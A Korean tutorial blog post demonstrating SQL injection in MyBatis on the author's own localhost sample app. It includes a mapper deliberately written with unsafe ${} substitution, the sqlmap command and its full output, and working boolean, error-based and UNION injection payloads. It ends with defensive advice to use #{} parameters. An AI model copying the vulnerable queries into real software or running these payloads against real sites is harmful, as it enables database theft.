Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.
참고 : ibatis (ibatis.apache.org) 는 google code 쪽으로 이전했으며, 이름을 mybatis.org으로 바꿨다
1. myBatis 개요
MyBatis 는 Data Mapper 프레임워크로서, SQL을 XML으로 관리하며, 예외처리 및 트렌젝션 처리를 편리하게 할수 있도록 지원하는 Persistence Layer 프레임워크이다.
MyBatis 는 데이터베이스 레코드에 원시타입과 Map 인터페이스, 자바 POJO를 XML과 어노테이션으로 설정하고 매핑할 수 있는 단순하면서도 강력한 프레임워크이다.
2. myBatis 동작방식
아래의 예제는 mybatis의 동작방식을 설명하기 위해 작성된 소스이므로 프레임워크(Spring)와 연동하지 않고 구현하였다.
DB는 mysql을 사용하였으며, 스키마는 mybatis에서 샘플로 제공하는 jpetstore의 DB스키마 중 item테이블을 사용하였다. (참고 : http://mybatis.github.com/spring/sample.html)
예제 코드 위치 : https://github.com/apollo8900/mybatis_sample/
먼저 소스트리를 보면 아래와 같다.
먼저 SqlSessionFactoryManager.java를 살펴보면,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
package com.apollo89.mybatis_sample; import java.io.IOException; import java.io.Reader; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSessionFactoryBuilder; import org.apache.log4j.Logger; public class SqlSessionFactoryManager { private static Logger log = Logger.getLogger(SqlSessionFactoryManager.class); private static final SqlSessionFactory sqlMapper; static{ String resource = "SqlMapConfig.xml"; Reader reader = null; try { reader = Resources.getResourceAsReader(resource); } catch (IOException e) { e.printStackTrace(); } sqlMapper = new SqlSessionFactoryBuilder().build(reader); } public static SqlSessionFactory getSqlSessionFactory() { return sqlMapper; } } |
SqlSessionFactoryManager 클래스에서 SqlMapConfig.xml 파일을 로딩(17번)하여 SqlSessionFactory 인스터스를 싱글톤으로 생성하도록 구현한다.
이렇게 생성된 SqlSessionFactory 인스턴스는 나중에 ItemDao 에서 사용될 것이다.
그러면 SqlMapConfig.xml 를 보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> <configuration> <properties resource="db.properties"> </properties> <environments default="development" > <environment id="development" > <transactionManager type="JDBC" /> <dataSource type="POOLED" > <property name="driver" value="${driver}" /> <property name="url" value="${url}" /> <property name="username" value="${user}" /> <property name="password" value="${pwd}" /> </dataSource> </environment> </environments> <mappers> <mapper resource="sqlmap/item.xml" /> </mappers> </configuration> |
SqlMapConfig.xml에서는 db.properties파일을 읽어서(6번) Data Source 으로 JDBC Connection Pool을 생성(11번)한다.
그리고 mybatis에서 사용할 sql mapper 파일를 설정(20번)한다.
db.properties 파일에는 DB접속을 위한 정보를 작성한다.
1 2 3 4 |
driver = com.mysql.jdbc.Driver url = jdbc:mysql://mysql_host:3306/mybatis_sample?useUnicode=true&characterEncoding=utf-8 user = mysql_id pwd = mysql_pw |
이번에는 sql mapper이 설정된 item.xml 파일을 살펴보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="mybatis_sample"> <resultMap id="hashmap" type="java.util.HashMap"></resultMap> <select id="getItemAll" resultMap="hashmap"> SELECT * FROM item </select> <select id="getItem" parameterType="hashmap" resultMap="hashmap"> SELECT * FROM item WHERE 1 = 1 AND itemid = #{itemid} </select> <select id="getItem2" parameterType="hashmap" resultMap="hashmap"> SELECT * FROM item WHERE 1 = 1 AND itemid = '${itemid}' </select> <select id="getItems" parameterType="hashmap" resultMap="hashmap"> SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',#{keyword},'%') </select> <select id="getItems2" parameterType="hashmap" resultMap="hashmap"> SELECT * FROM item WHERE 1 = 1 AND itemid like '%${keyword}%' </select> </mapper> |
mapper의 namespace를 mybatis_sample으로 설정하고 각각의 sql 을 작성한다.
여기서는 mybatis의 # 파라미터와 $ 파라미터의 취약점 테스트를 위해서 각각 2가지 sql 구문을 작성하였다.
getItems은 취약점이 없는 # 방식으로 파라미터를 받았고, getItems2는 취약점이 존재하는 $ 방식으로 파라미터를 받았다.
두가지 방식 모두 프로그램이 정상적으로 동작한다.
이번에는 실제 DB에 접속해서 sql을 처리하는 ItemDao.java를 보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
package com.apollo89.mybatis_sample; import java.util.ArrayList; import java.util.HashMap; import org.apache.ibatis.session.SqlSessionFactory; import com.apollo89.mybatis_sample.SqlSessionFactoryManager; public class ItemDao { SqlSessionFactory sqlMapper = SqlSessionFactoryManager.getSqlSessionFactory(); public ItemDao() { } @SuppressWarnings({ "rawtypes", "unchecked" }) public ArrayList<HashMap<String, String>> getItemAll(){ return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItemAll"); } @SuppressWarnings({ "rawtypes", "unchecked" }) public ArrayList<HashMap<String, String>> getItems(HashMap<String, String> map){ return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItems",map); } @SuppressWarnings({ "rawtypes", "unchecked" }) public ArrayList<HashMap<String, String>> getItems2(HashMap<String, String> map){ return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItems2",map); } @SuppressWarnings({ "rawtypes", "unchecked" }) public ArrayList<HashMap<String, String>> getItem(HashMap<String, String> map){ return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItem",map); } @SuppressWarnings({ "rawtypes", "unchecked" }) public ArrayList<HashMap<String, String>> getItem2(HashMap<String, String> map){ return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItem2",map); } } |
ItemDao는 SqlSessionFactoryManager의 getSqlSessionFactory을 통해 인스턴스를 sqlMapper에 저장(12번)한다.
그리고 sqlMapper을 사용해서 세션을 열고 sql mapper에서 설정한 sql에 map 정보를 파라미터로 질의(19,24,29,34,39번)한다.
자, 그러면, 마지막으로 화면인 index.jsp를 살펴보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
<%@ page import="java.util.HashMap"%> <%@ page import="java.util.ArrayList"%> <%@ page import="com.apollo89.mybatis_sample.ItemDao"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <% ItemDao dao = new ItemDao(); ArrayList<HashMap<String, String>> list = null; String keyword = request.getParameter("keyword"); if(keyword == null || "".equals(keyword)){ list = dao.getItemAll(); } else { HashMap<String,String> map = new HashMap<String,String>(); map.put("keyword",keyword); list = dao.getItems(map); } %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>mybatis_sample</title> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script type="text/javascript"> function search() { $(location).attr('href','index.jsp?keyword='+$("#keyword").val()); } </script> </head> <body> <div> <input type="text" id="keyword" name="keyword" value=""> <input type="button" id="search" name="search" value="search" onclick="search()" > </div> <div> <table border="1"> <colgroup> <col width="20%"> <col width="40%"> <col width="20%"> <col width="20%"> </colgroup> <thead> <tr> <th>itemid</th><th>productid</th><th>listprice</th><th>attr1</th> </tr> </thead> <tbody> <!-- jstl을 이용하여 list에 담겨있는 Map의 value값을 호출 --> <c:forEach var="list" items="<%=list%>"> <tr> <td><a href="item.jsp?itemid=${list.itemid}">${list.itemid}</td> <td>${list.productid}</td> <td>${list.listprice}</td> <td>${list.attr1}</td> </tr> </c:forEach> </tbody> </table> </div> </body> </html> |
먼저 itemDao의 인스턴스를 생성(7번)한다
keyword라는 파라마터를 입력(10번)받는다.
보안을 위해서는 keyword 입력값을 검증해야 하지만, 여기서는 mybatis 취약점 테스트를 위해서 입력값 검증을 하지 않는다.
keyword가 있으면, keyword 정보를 HashMap에 담아 getItems를 호출하고, 결과를 list에 담는다.
keyword가 없으면, getItemAll를 호출하고, 결과를 list에 담는다.
받은 list 정보를 JSTL(JSP Standard Tag Library)를 사용해서 보여준다.(54번)
3. myBatis 취약점 확인.
그러면 위에서 작성한 예제코드 활용하여 취약점 공격를 시도해 보겠다.(sqlmap 사용)
먼저 # 파라미터를 사용한 취약하지 않은 페이지를 공격 (item.xml의 getItems의 경우)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
C:\Python27\sqlmap>sqlmap.py -u "http://localhost:8080/mybatis_ sample/index.jsp?keyword=1" --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 09:15:09 [09:15:09] [INFO] testing connection to the target url [09:15:10] [INFO] testing if the url is stable. This can take a couple of second s [09:15:11] [INFO] url is stable [09:15:11] [INFO] testing if GET parameter 'keyword' is dynamic [09:15:11] [INFO] confirming that GET parameter 'keyword' is dynamic [09:15:11] [INFO] GET parameter 'keyword' is dynamic [09:15:11] [WARNING] reflective value(s) found and filtering out [09:15:11] [WARNING] heuristic (basic) test shows that GET parameter 'keyword' m ight not be injectable [09:15:11] [INFO] testing for SQL injection on GET parameter 'keyword' [09:15:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [09:15:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause ' [09:15:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [09:15:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o r HAVING clause' [09:16:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT ype)' [09:16:11] [INFO] testing 'MySQL inline queries' [09:16:11] [INFO] testing 'PostgreSQL inline queries' [09:16:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [09:16:11] [INFO] testing 'Oracle inline queries' [09:16:31] [INFO] testing 'SQLite inline queries' [09:16:32] [INFO] testing 'MySQL > 5.0.11 stacked queries' [09:16:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [09:16:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [09:16:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [09:17:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [09:17:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [09:17:32] [INFO] testing 'Oracle AND time-based blind' [09:17:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [09:19:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [09:19:33] [WARNING] using unescaped version of the test because of zero knowled ge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [09:21:13] [WARNING] GET parameter 'keyword' is not injectable [09:21:13] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to r erun by providing either a valid value for option '--string' (or '--regexp') [*] shutting down at 09:21:13 C:\Python27\sqlmap> |
보는것과 같이 취약하지 않다.
위와 같이 공격이 들어올 경우 mybatis에서 동작하는 방식을 보면 아래와 같다..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 5861(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 4110(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1.(])(([)',(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 6528-6527(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1sVuN(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1) AND 6221=3100 AND (6030=6030(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1) AND 4307=4307 AND (3172=3172(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1 AND 4805=8494(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1 AND 4307=4307(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1') AND 1364=2700 AND ('jGgp'='jGgp(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1') AND 4307=4307 AND ('rIHa'='rIHa(String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1' AND 5137=9428 AND 'XIPx'='XIPx(String) ...(생략)... ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- (String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- (String) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') ==> Parameters: 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- (String) |
위에서 보는것과 같이 # 파라미터를 prepareStatement으로 변환하여 파라미터를 매핑해주는 구조이다.
그러면, $ 파라미터를 사용한 취약한 페이지를 공격해보자 (item.xml의 getItems2의 경우)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
C:\Python27\sqlmap>sqlmap.py -u "http://localhost:8080/mybatis_ sample/index.jsp?keyword=1" --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 09:22:58 [09:22:58] [INFO] testing connection to the target url [09:22:58] [INFO] testing if the url is stable. This can take a couple of second s [09:22:59] [INFO] url is stable [09:22:59] [INFO] testing if GET parameter 'keyword' is dynamic [09:22:59] [INFO] confirming that GET parameter 'keyword' is dynamic [09:22:59] [INFO] GET parameter 'keyword' is dynamic [09:22:59] [WARNING] reflective value(s) found and filtering out [09:22:59] [INFO] heuristic (basic) test shows that GET parameter 'keyword' migh t be injectable (possible DBMS: 'MySQL') [09:22:59] [INFO] testing for SQL injection on GET parameter 'keyword' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for 'MySQL' extending provided level (1) and ri sk (1)? [Y/n] Y [09:23:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [09:23:28] [INFO] GET parameter 'keyword' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [09:23:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause ' [09:23:28] [INFO] GET parameter 'keyword' is 'MySQL >= 5.0 AND error-based - WHE RE or HAVING clause' injectable [09:23:28] [INFO] testing 'MySQL inline queries' [09:23:28] [INFO] testing 'MySQL > 5.0.11 stacked queries' [09:23:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [09:23:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [09:23:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)' [09:24:28] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)' [09:24:30] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - co mment)' [09:24:31] [INFO] testing 'MySQL > 5.0.11 OR time-based blind' [09:25:01] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)' [09:25:03] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace' [09:25:03] [INFO] testing 'MySQL < 5.0 time-based blind - Parameter replace (hea vy queries)' [09:25:03] [INFO] testing 'MySQL time-based blind - Parameter replace (bool*int) ' [09:25:03] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET) ' [09:25:03] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)' [09:25:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [09:25:03] [INFO] automatically extending ranges for UNION query injection techn ique tests as there is at least one other potential injection technique found [09:25:03] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t he range for current UNION query injection technique test [09:25:33] [CRITICAL] connection timed out to the target url or proxy. sqlmap is going to retry the request [09:25:33] [WARNING] most probably web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for few minut es and rerun without flag T in option '--technique' (e.g. '--flush-session --tec hnique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec =2') [09:26:04] [CRITICAL] connection timed out to the target url or proxy. sqlmap is going to retry the request [09:26:35] [CRITICAL] connection timed out to the target url or proxy. sqlmap is going to retry the request [09:26:51] [INFO] target url appears to have 11 columns in query [09:26:54] [INFO] GET parameter 'keyword' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'keyword' is vulnerable. Do you want to keep testing the others (i f any)? [y/N] y sqlmap identified the following injection points with a total of 35 HTTP(s) requ ests: --- Place: GET Parameter: keyword Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: keyword=1%' AND 8727=8727 AND '%'=' Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: keyword=1%' AND (SELECT 2116 FROM(SELECT COUNT(*),CONCAT(0x3a687a75 3a,(SELECT (CASE WHEN (2116=2116) THEN 1 ELSE 0 END)),0x3a666c6b3a,FLOOR(RAND(0) *2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' Type: UNION query Title: MySQL UNION query (NULL) - 11 columns Payload: keyword=1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0 x3a687a753a,0x42484962644d724a544f,0x3a666c6b3a),NULL,NULL,NULL,NULL# --- [09:27:06] [INFO] the back-end DBMS is MySQL web application technology: JSP back-end DBMS: MySQL 5.0 [09:27:06] [INFO] fetching database names available databases [7]: [*] information_schema [*] mybatis_sample [*] mysql [*] performance_schema [*] sakila [*] test [*] world [09:27:06] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 11 times [09:27:06] [INFO] fetched data logged to text files under 'C:\Python27\apollo89_ study\sqlmap\output\localhost' [*] shutting down at 09:27:06 C:\Python27\sqlmap> |
위의 결과와 같이 sql injection를 통해 db의 정보를 알아올 수 있다.
이 경우 mybatis에서 동작하는 방식을 보면 아래와 같다..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 |
==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%8640%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%9464%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1[')](])("(%' ==> Parameters: 2013. 4. 3 오후 9:22:59 org.apache.catalina.core.StandardWrapperValve invoke 심각: Servlet.service() for servlet [jsp] in context with path [/mybatis_sample] threw exception [An exception occurred processing JSP page /index.jsp at line 17 14: } else { 15: HashMap<String,String> map = new HashMap<String,String>(); 16: map.put("keyword",keyword); 17: list = dao.getItems2(map); 18: } 19: %> 20: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> Stacktrace:] with root cause com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')](])("(%'' at line 3 at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source) at java.lang.reflect.Constructor.newInstance(Unknown Source) at com.mysql.jdbc.Util.handleNewInstance(Util.java:411) at com.mysql.jdbc.Util.getInstance(Util.java:386) at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:1054) at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:4120) at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:4052) at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2503) at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2664) at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2815) at com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:2155) at com.mysql.jdbc.PreparedStatement.execute(PreparedStatement.java:1379) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58) at $Proxy5.execute(Unknown Source) at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:56) at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:70) at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:57) at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:267) at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:141) at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:105) at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:81) at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:101) at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:95) at com.apollo89.mybatis_sample.ItemDao.getItems2(ItemDao.java:29) at org.apache.jsp.index_jsp._jspService(index_jsp.java:85) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:722) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:432) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) at javax.servlet.http.HttpServlet.service(HttpServlet.java:722) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:225) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:169) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:168) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:98) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:927) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:999) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:565) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:307) at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at java.lang.Thread.run(Unknown Source) ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1) AND 3484=8312 AND (3359=3359%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1) AND 8727=8727 AND (9350=9350%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1 AND 2863=8621%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1 AND 8727=8727%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1') AND 7322=1558 AND ('uZPV'='uZPV%' ==> Parameters: 2013. 4. 3 오후 9:23:28 org.apache.catalina.core.StandardWrapperValve invoke 심각: Servlet.service() for servlet [jsp] in context with path [/mybatis_sample] threw exception [An exception occurred processing JSP page /index.jsp at line 17 ...(생략)... ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,0x63504b74674565576b78,0x3a666c6b3a)#%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,0x42484962644d724a544f,0x3a666c6b3a),NULL,NULL,NULL,NULL#%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,0x42484962644d724a544f,0x3a666c6b3a),NULL,NULL,NULL,NULL UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,0x417970456c47776b434e,0x3a666c6b3a),NULL,NULL,NULL,NULL#%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,0x42484962644d724a544f,0x3a666c6b3a),NULL,NULL,NULL,NULL FROM (SELECT 0 AS HIPX UNION SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4 UNION SELECT 5 UNION SELECT 6 UNION SELECT 7 UNION SELECT 8 UNION SELECT 9 UNION SELECT 10 UNION SELECT 11 UNION SELECT 12 UNION SELECT 13 UNION SELECT 14) AS WpyU#%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,(CASE WHEN (4527 = 4527) THEN 1 ELSE 0 END),0x3a666c6b3a),NULL,NULL,NULL,NULL#%' ==> Parameters: ==> Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like '%1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a687a753a,IFNULL(CAST(schema_name AS CHAR),0x20),0x3a666c6b3a),NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA#%' ==> Parameters: |
prepareStatement 방식이 아닌, 단순히 $ 파라미터 자리에 String 변수가 replace 되고 있는 것을 확인할수 있다. (에러도 많이 발생하고 있다.)
4. 대응방안
– 입력값을 반드시 검증후 사용
– $ 파라미터 대신 # 파라미터를 사용.
참고 :
https://code.google.com/p/mybatis/wiki/Welcome?tm=6
http://mybatis.github.com/mybatis-3/ko/index.html
http://mybatis.github.com/spring/sample.html)
https://github.com/apollo8900/mybatis_sample/